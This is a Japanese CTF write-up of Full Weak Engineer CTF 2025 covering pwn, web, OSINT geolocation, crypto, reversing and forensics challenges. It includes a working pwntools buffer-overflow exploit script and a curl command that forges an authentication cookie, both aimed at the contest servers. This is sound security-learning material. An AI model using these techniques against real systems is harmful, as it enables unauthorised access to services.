Full Weak Engineer CTF 2025 Writeup
Full Weak Engineer CTF にソロで参加したので振り返り用の Writeup.
フラグ形式・禁止事項等 (抜粋)
- フラグ形式は以下の通り
fwectf{}
Welcome
- discord の announcement にあった
Pwn Me Baby
- 渡された c 言語のソースコードを確認すると, flag 関数を発見 (これを起動すればクリアっぽい)
- main 関数では文字の読み取りのみが行われているが,
scanf
関数が用いられているため Buffer Overflow の脆弱性がありそう checksec
で確認したところ PIE が無効であるためアドレスのリークなどは必要ない (pwntools の使い方は 前回記事 参考のこと)
pwn checksec ./main
objdump
で確認したところサイズ0x18
のパディングの先にアドレスを挿入することで任意の関数が実行できそう
objdump -d ./main -M intel
- 試しにそのまま
flag
関数を呼び出してみたところ, Segmentation Fault が生じた $\to$ 変数を格納するために必要なスタックのサイズをどうにか確保してから flag 関数を呼び出す必要がありそう main
関数の最後の部分でrsp
レジスタに0x18
を加算しリターンする処理があるため, そこでスタックのサイズを確保してからflag
関数を呼び出すとうまくフラグが表示された (フラグ読み込み時にrsp
レジスタが 16 バイトの倍数になるよう注意)
from pwn import * use_remote = True if use_remote == True: host = "chal2.fwectf.com" port = 8000 sh = remote(host,port) else: context.terminal = ["tmux", "splitw", "-h"] sh = process("./main") gdb.attach(sh, gdbscript=""" break *main+35 break *flag+16 c """) prompt = sh.recvuntil("else:") print(prompt.decode()) payload = "a".encode() * 0x18 # padding payload += p64(0x401655) # add rsp address payload += "a".encode() * 0x18 # padding payload += p64(0x401655) # add rsp address payload += "a".encode() * 0x18 # padding payload += p64(0x401655) # add rsp address payload += "a".encode() * 0x18 # padding payload += p64(0x401655) # add rsp address payload += "a".encode() * 0x18 # padding payload += p64(0x401811) # flag address sh.sendline(payload) sh.interactive()
flag
関数の最後の方を使えばもっと綺麗にできたのではないかと解き終わってから思った
regex-auth
- 配布された python のスクリプトを読むと,
/dashboard
エンドポイントにおいて Cookie に含まれるuid
パラメータが "user" もしくは "guest" から始まっていなければフラグが獲得できるらしい (regex で検索対象文字列を空にすると何にでもマッチしてしまう) - テキトウな文字列 (test) を Base64 でエンコードしたうえで Cookie に付与してあげて GET リクエストを送るとフラグを獲得できた
curl http://chal2.fwectf.com:8001/dashboard -b "username=test" -b "uid=$(echo test| base64)"
GeoGuessr1
- ケンタッキーフライドチキンの写真が渡される
- exif などを調べてみたが手掛かりはなく, 純粋なジオゲッサーが求められるらしい
- 看板に見える文字列 (BIKINI, MANISHA, DA WEI) などを手掛かりとして LLM で調べたら店舗が特定できた
GeoGuessr2
- 今度はフランクフルト屋の画像
- LLM で調べるとドイツのカイザー通り付近が怪しいらしい
- 独立して Google 画像検索でも調べてみると丁度同じマスコットの画像がヒットした (そちらもカイザー通り付近だったので確定っぽい)
- Web でヒットした方の写真は背景の建物なども写っていたため詳しく調べたら駅の前のストリートの位置で正解できた (ストリートビューでは該当店舗があるべき場所に写らなかった)
GeoGuessr3
- 今度は中華街らしい写真
- LLM で調べ, Phoenix という看板をもとに詳しい場所を調べたらロサンゼルスの中華街がヒットした
GeoGuessr4
- LLM と画像検索で照会するとロサンゼルスのデンマーク村がヒット
- Google Map で風車を検索すると二か所ヒットしたので, それぞれ調べると片方の風車が写真に写っているものであると判明
- 交差点の写り方, 車の位置から 0 ゲッサーを目指すつもりで細かく指定したら正解した
strings jacking
strings
コマンドで調べたらフラグが出てきた
Poison Apple
- iOS のウォッチドックタイマーの挙動に関する問題
- Web で検索したところ
0x8badf00d
(ate bad food) と返ってくるらしい (参考)
baby-crypto
- 暗号化されたフラグ文字列が渡される
- シーザー暗号っぽいので回転してみたところフラグが出てきた
import string asciis = list(string.ascii_lowercase) def rot_n(ciph: str, n: int): flag = "" for i in range(len(ciph)): if ciph[i] in string.ascii_letters: flag += asciis[(asciis.index(ciph[i])+n) % len(asciis)] else: flag += ciph[i] return flag cipher = "sjrpgs{ebg13rq_zrffntr!}" for i in range(len(asciis)): flag = rot_n(cipher, i) print(flag)
No need Logical Thinking
- 暗号化用のプログラムと暗号化されたフラグが渡される
- 拡張子から perl かと思ったが調べてみると prolog という言語らしい
- 組み込み関数らしきものでフラグを 16 進数にしたうえで, ユーザー定義関数で一文字目から 1, 2, 3...... と数字を加算しているっぽい
- python で逆処理を書いてみたらフラグが復元できた
with open("./output.txt", "r") as f: cipher = f.read() hex_cipher = list(map(ord, list(cipher))) flag_hex = [] for i in range(len(hex_cipher)): flag_hex.append(hex_cipher[i] - (i+1)) print("".join(list(map(chr, flag_hex))))
datamosh
- .avi の動画ファイルが渡される
- そのまま再生しようとしてもうまくいかない
ffmpeg
でフレームごとの画像を取得したところ, 散らばった文字列が最終的にフラグになる動画であることが分かった (フラグ獲得)
ffmpeg -i flag_edit.avi frame_%04d.png
Mystery Zone
- Unity アプリケーションが渡される
- dnSpy で
Assembly-CSharp.dll
を逆コンパイルしコードを確認すると, x, y が 65535 の地点に到達するとフラグが獲得できそう - しかし, ユークリッド距離で 50 以上の場所に移動すると条件分岐でエラーが生じる仕組みとなっていた
- dnSpy でコードを書き換えゴールを 0f, 0f にするとアプリを起動してすぐにフラグが獲得できた
EXIT
- 非常口マークの画像から撮影された国を調べる問題
- Gessler という文字があったので調べるとヨーロッパの非常口マークらしい (ひっかけかもしれないが)
- 右上天井の AVST .VENTILER VARME という文字列について調べ, ノルウェー, デンマークの言葉っぽいかもしれないとあたりをつけた
- ノルウェーは指定されたフォーマットで NOR なので試してみたらフラグが獲得できた